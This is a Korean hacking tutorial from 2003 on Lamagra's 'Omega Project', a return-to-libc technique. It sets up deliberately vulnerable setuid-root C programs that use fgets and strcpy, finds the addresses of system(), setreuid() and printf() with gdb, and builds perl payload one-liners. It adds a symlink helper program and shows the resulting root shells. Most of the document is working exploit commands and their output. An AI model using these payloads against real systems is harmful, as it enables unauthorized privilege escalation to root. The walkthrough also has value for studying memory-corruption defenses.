-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-
제목 : Lamagra의 Omega Project의 이해 및 분석

작 성 자 : ttongfly@realskulls.org2003. 10. 10

홈페이지 : http://ttongfly.realskulls.org

참고문서 : Lamagra의 오메가 프로젝트의 이해 -원재아빠
getuid시스템에서 OMEGA의 적용 -원재아빠
Project OMEGA by Lamagra
OMEGA Project Summary -H41d53
-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-

Lamagra라는 해커가 오메가 프로젝트라는 것을 만들었다. 오메가 프로젝트란 그동안의 해오던 해킹기법인
쉘코드를 메모리에 올려서, ret에 그 주소를 덮쳐 쉘을 따는 복잡한 절차를 매우 크게 개선한 기법이다.

오메가 프로젝트는 취약 프로그램의 ret주소에 system함수의 주소를 넣어 쉘을 실행시키는 방법이다.
그러면 구체적으로 오메가 프로젝트의 원리와 공격기법이 어떻게 이루어지는지 알아보도록 하겠다.

테스트 환경은 다음과 같다.

[ttongfly@localhost omega]$ uname -a
Linux localhost.localdomain 2.4.20-7 #1 목 4월 10 11:40:17 KST 2003 i686 i686 i386 GNU/Linux

[ttongfly@localhost omega]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-hancom-linux/3.2.3/specs
Configured with: ../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –disable-checking –with-system-zlib –enable-__cxa_atexit –host=i386-hancom-linux
Thread model: posix
gcc version 3.2.3 20030422 (Hancom Linux 3.2.3)

다음은 테스트할 bof버그가 있는 프로그램이다.

[ttongfly@localhost omega]$ cat vul.c
#include stdio.h
#include “dumpcode.h”

main()
{
char buf[20];
printf(“name :”);
fgets(buf,100,stdin); //Overflow 조건
printf(“Hi %s”,buf);
dumpcode(buf, 100);
}

위의 예제를 컴팔하기 위해 필요한 오하라님의 dumpcode.h 화일

[ttongfly@localhost omega]$ cat dumpcode.h
void printchar(unsigned char c)
{
if(isprint(c))
printf(“%c”,c);
else
printf(“.”);
}
void dumpcode(unsigned char *buff, int len)
{
int i;
for(i=0;ilen;i++)
{
if(i%16==0)
printf(“0x%08x”,&buff[i]);
printf(“%02x “,buff[i]);
if(i%16-15==0)
{
int j;
printf(“”);
for(j=i-15;j=i;j++)
printchar(buff[j]);
printf(“\\n”);
}
}
if(i%16!=0)
{
int j;
int spaces=(len-i+16-i%16)*3+2;
for(j=0;jspaces;j++)
printf(” “);
for(j=i-i%16;jlen;j++)
printchar(buff[j]);
}
printf(“\\n”);
}

[root@localhost omega]# chmod 4777 vul

-rwsrwxrwx1 root root10476 10월 11 23:02 vul

자 root의 setuid를 걸어주었다. 이제 ttongfly라는 계정을 이용하여 root의 쉘을
따보도록 하자.

이제 오메가 프로젝트에서 필요한 시스템함수의 주소값을 찾아보도록 하자.
주소값을 찾는 방법은 여러가지가 있다.

첫째로, 원재아빠님이 말씀하신 방법이다. 바로 gdb로 덤프를 따는 것이다.

[ttongfly@localhost omega]$ gdb -q vul
(gdb) b main
Breakpoint 1 at 0x80485b8
(gdb) r
Starting program: /home/ttongfly/omega/vul

Breakpoint 1, 0x080485b8 in main ()
(gdb) x/4x system
0x40062a4c system:0x53e589550x08458b500x000000e80xc3815b00
(gdb)

이런 방법을 통하여 system함수의 값이 0x40062a4c임을 알 수 있다.

만약 서버에서 ptrace 버그를 방지할 목적으로 소유권한이 있는 쉘이 아닐경우 gdb에서 프로그램을
실행시킬 수 없는 경우, cp로 사본을 만들어 시스템 함수 주소를 확인하도록 하자.

자 이제 이 프로그램의 ret값이 무엇인지 계산해보자.
buf[20]이기 때문에 gcc 2.96이상에서 더미값을 포함하여 살펴보면
buf[20][dummy12][dummy8][sfp4][ret4] 이렇게 되어있다.
(더미값에 관한 글은 원재아빠님 글 참조)

공격시에는
buf[20][dummy12][dummy8][sfp4][ret4][dummy4][문자열주소값][bin/sh]

이런식으로 공격하면 되며, 문자열주소값은 ret+12값을 넣으면된다. 고로 먼저 ret의 값을 덤프해서
찾아야 한다.

[ttongfly@localhost omega]$ (perl -e \’printf “A”x44\’;printf “\\x4c\\x2a\\x06\\x40”;cat)|./vul

name :Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL*@
0xbffffa7041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa8041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa9041 41 41 41 41 41 41 41 41 41 41 41 4c 2a 06 40 AAAAAAAAAAAAL*.@
0xbffffaa00a 00 00 00 f4 fa ff bf fc fa ff bf f8 79 13 40 ………….y.@
0xbffffab000 00 00 00 d0 8c 00 40 d8 92 00 40 ac 04 01 40 …….@…@…@
0xbffffac001 00 00 00 04 83 04 08 00 00 00 00 25 83 04 08 …………%…
0xbffffad0b2 85 04 08 ….
sh: line 1: 終�� command not found

Segmentation fault
[ttongfly@localhost omega]$

살펴보면 ret 값은 0xbffffa9c임을 알 수 있다.
그러면 쉘의 문자열(/bin/sh)가 들어갈 위치는 ret+c(12)임으로 0xbffffaa8임을 알 수 있다.

그럼 공격이 되는지 살펴보자.

[ttongfly@localhost omega]$ (perl -e \’printf “A”x44\’;printf “\\x4c\\x2a\\x06\\x40\\x41\\x41\\x41\\x41\\xa8\\xfa\\xff\\xbf/bin/sh”;cat)|./vul

name :Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL*@AAAA¾��bin/sh
0xbffffa7041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa8041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa9041 41 41 41 41 41 41 41 41 41 41 41 4c 2a 06 40 AAAAAAAAAAAAL*.@
0xbffffaa041 41 41 41 a8 fa ff bf 2f 62 69 6e 2f 73 68 0a AAAA…./bin/sh.
0xbffffab000 00 00 00 d0 8c 00 40 d8 92 00 40 ac 04 01 40 …….@…@…@
0xbffffac001 00 00 00 04 83 04 08 00 00 00 00 25 83 04 08 …………%…
0xbffffad0b2 85 04 08 ….
id
uid=501(ttongfly) gid=502(ttongfly) groups=502(ttongfly)
ps
PID TTYTIME CMD
1159 pts/400:00:00 bash
1374 pts/400:00:00 vul
1376 pts/400:00:00 cat
1377 pts/400:00:00 sh
1380 pts/400:00:00 ps

쉘이떳다! ^^; 근데.. root의 setuid는 받질 못했다.

이것은 리눅스의 getuid 시스템 때문이다.
getuid 시스템이란 리눅스 커널 2.4.x부터 적용받기 시작한 보안시스템으로써
setuid 프로그램이 실행됨에 있어 해당 프로그램이 변조되어 다른 프로그램을 실행하려 할 때
getuid를 실행하여 실행하는 유저의 쉘변수 안에 uid를 가져와서 변조된 프로그램을 실행시키도록
하는 시스템이다.

그래서 위의 예에서 shell이 떳음에도 불구하고, 실행한 유저의 uid를 이미 가져온후 변조된
프로그램을 실행시켰기 때문에 root의 uid를 가질수 없었다.

그럼 getuid를 회피하려면 어떻게 해야할까.

[ttongfly@localhost omega]$ gdb -q vul_1
(gdb) b main
Breakpoint 1 at 0x80485b8
(gdb) r
Starting program: /home/ttongfly/omega/vul_1

Breakpoint 1, 0x080485b8 in main ()
(gdb) x/x system
0x40062a4c system:0x53e58955
(gdb) x/x setreuid
0x400e7c58 setreuid:0x57e58955

시스템 함수의 주소는 0x40062a4c이고 setreuid의 주소는 0x400e7c58이다.

원재아빠님이 제안하신 공격기법은 system함수를 실행하기전에 setreuid를 먼저 실행하여 uid를 0으로
실행한 후 system함수를 실행하여, getuid 시스템을 우회하는 기법이다.

공격은 다음과 같이 들어간다.

buf[20][dummy12][dummy8][sfp4][setreuid주소4][system주소4][root의 uid 0값4][문자열주소][/bin/sh]

이런식으로 공격을하면 root를 딸 수 있다.

[ttongfly@localhost omega]$ (perl -e \’printf “A”x44\’;printf \’\\x58\\x7c\\x0e\\x40\\x4c\\x2a\\x06\\x40\\x00\\x00\\x00\\x00\\xac\\xfa\\xff\\xbf/bin/sh\’;cat)|./vul

name :Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX|@L*@0xbffffa7041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa8041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa9041 41 41 41 41 41 41 41 41 41 41 41 58 7c 0e 40 AAAAAAAAAAAAX|.@
0xbffffaa04c 2a 06 40 00 00 00 00 ac fa ff bf 2f 62 69 6e L*.@……../bin
0xbffffab02f 73 68 0a 00 8c 00 40 d8 92 00 40 ac 04 01 40 /sh….@…@…@
0xbffffac001 00 00 00 04 83 04 08 00 00 00 00 25 83 04 08 …………%…
0xbffffad0b2 85 04 08 ….

id
uid=0(root) gid=502(ttongfly) groups=502(ttongfly)
exit

Segmentation fault
[ttongfly@localhost omega]$

루트를 획득했다^^ 아이 기분저아~

이상은 fgets나 scanf같은 함수에서 bof가 났을경우에 적용되는 방법이다.
프로그램상에서 strcpy와 같은 함수로 bof 버그가 날경우에는
위와같이 공격을 할 수 없다.

메모리 상에서 setreuid를 통해 root의 uid를 지정해줬던 문자인 \\x00\\x00\\x00\\x00이 무시되기
때문이다.

자 그러면 strcpy함수로 bof버그간 난 프로그램에서 어떻게 root쉘을 획득할 수 있는지 알아보자
다음은 strcpy에 위한 bof버그 프로그램이다.

[root@localhost omega2]# cat test1.c
#include “dumpcode.h”

main(int argc, char *argv[])
{
char buf[16];
if(argc 1)
strcpy(buf,argv[1]);
dumpcode(buf,64);
}

[ttongfly@localhost omega2]$ gdb -q test_1
(gdb) b main
Breakpoint 1 at 0x8048598
(gdb) r
Starting program: /home/ttongfly/omega2/test_1

Breakpoint 1, 0x08048598 in main ()
(gdb) x/x system
0x40062a4c system:0x53e58955
(gdb) x/x setreuid
0x400e7c58 setreuid:0x57e58955
(gdb) x/x printf
0x40071de0 printf:0x53e58955
(gdb) q
The program is running.Exit anyway? (y or n) y

시스템 함수의 주소값은 0x40062a4c이고, setreuid의 주소값은 0x400e7c58이며, printf의 주소값은
0x40071de0임을 알 수 있다.

원재아빠님께서 제안하신 방법은 다음과 같다.

연속된 메모리를 보면 00의 값으로 채워진 곳이 있다. 이것을 우리가 공격할 코드의 끝자락으로 맞춰
주는 것이다.

[ttongfly@localhost omega2]$ perl -e \’system “./test1”,”1234567890123456789012345678\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\x58\\x7c\\x0e\\x40\\x4c\\x2a\\x06\\x40″\’
0xbffffa3031 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456
0xbffffa4037 38 39 30 31 32 33 34 35 36 37 38 e0 1d 07 40 789012345678…@
0xbffffa50e0 1d 07 40 e0 1d 07 40 58 7c 0e 40 4c 2a 06 40 …@…@X|.@L*.@
0xbffffa6000 00 00 00 d0 8c 00 40 d8 92 00 40 ac 04 01 40 …….@…@…@

sh: line 1: ZY�$�: command not found
[ttongfly@localhost omega2]$

위를 보면 0xbffffa30부터 0xbfffa4b까지 buf의 영역이고
0xbfffa4c부터 0xbfffa57까지 printf함수를 넣어주고
0xbfffa58부터 0xbfffa5b까지 setreuid함수를 넣어주며
0xbfffa5c부터 0xbfffa5f까지 system함수를 넣어준다.

그렇게 되면 0xbffffa60부터 0xbffffa63까지 00으로 채워진 영역을 우리가 공격하는 코드의 끝으로
맞출수 있다. 그렇게 되면 setreuid에 00의 값이 들어가게 되는것이다.

함수는 계속해서 실행이 됨으로

이렇게 공격코드를 맞춘후… 원재아빠님의 문서에서 나온거와 같이
라마그라가 만든 심볼릭 링크 프로그램을 이용해서 공격을 하겠다.

여담이지만 쉘의 버젼때문에 라마그라가 만든 심볼릭 링크 프로그램은 약간의 수정을 가해야 한다.
예전의 쉘은 system함수로 쉘 실행시 “sh: : command not found ” 라는 에러가 발생하였지만
현재의 쉘은 “sh: line 1: ? command not found ” 식으로 라인까지 표시해주기 때문이다.

암튼 bang1575님이 수정해주신 심볼릭링크 프로그램을 이용해야만 root를 딸 수 있다.

우선 PATH부터 맞추고

[ttongfly@localhost omega2]$ PATH=$PATH:./

[ttongfly@localhost omega2]$ cat ex.c
#include stdio.h
#include fcntl.h
#include stdio.h
#include unistd.h
#include sys/types.h
void main(int argc, char **argv)
{
FILE *fd;
int i;
char buf[512], filename[50];
char *extract;

if (argc != 2) {
printf(“usage: %s file\\n”, argv[0]);
exit(-1);
}

fd = fopen(argv[1], “r”);
fgets(buf, 512, fd);
extract = strrchr(buf, \’:\’);
*extract = 0x0;
extract = strrchr(buf, \’:\’); /* 수정된 부분 */

strcpy(filename, extract + 2);

printf(“filename = %s\\n”, filename);
fclose(fd);

symlink(“/bin/sh”, filename);
}

[ttongfly@localhost omega2]$ gcc -o ex ex.c

[ttongfly@localhost omega2]$ perl -e \’system “./test1”,”1234567890123456789012345678\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\x58\\x7c\\x0e\\x40\\x4c\\x2a\\x06\\x40″\’ 2 out

메세지가 뜨는 것을 out이란 파일에 저장한 후

[ttongfly@localhost omega2]$ ./ex out
filename = ZY�$�
[ttongfly@localhost omega2]$ perl -e \’system “./test1”,”1234567890123456789012345678\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\xe0\\x1d\\x07\\x40\\x58\\x7c\\x0e\\x40\\x4c\\x2a\\x06\\x40″\’
0xbffffa3031 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456
0xbffffa4037 38 39 30 31 32 33 34 35 36 37 38 e0 1d 07 40 789012345678…@
0xbffffa50e0 1d 07 40 e0 1d 07 40 58 7c 0e 40 4c 2a 06 40 …@…@X|.@L*.@
0xbffffa6000 00 00 00 d0 8c 00 40 d8 92 00 40 ac 04 01 40 …….@…@…@

[root@localhost omega2]# id
uid=0(root) gid=502(ttongfly) groups=502(ttongfly)

루트를 획득할 수 있었다. 이상으로 getuid 상태에서의 오메가 프로젝트 쉘따기를 마무리 짓겠다.

하이데스님의 쉘코드를 이용한 방법도 이해하고 분석해보고 싶었지만.. 머리가 딸려서 다음으로 미루고..
이상 마무리하는 바이다.

There are currently no comments.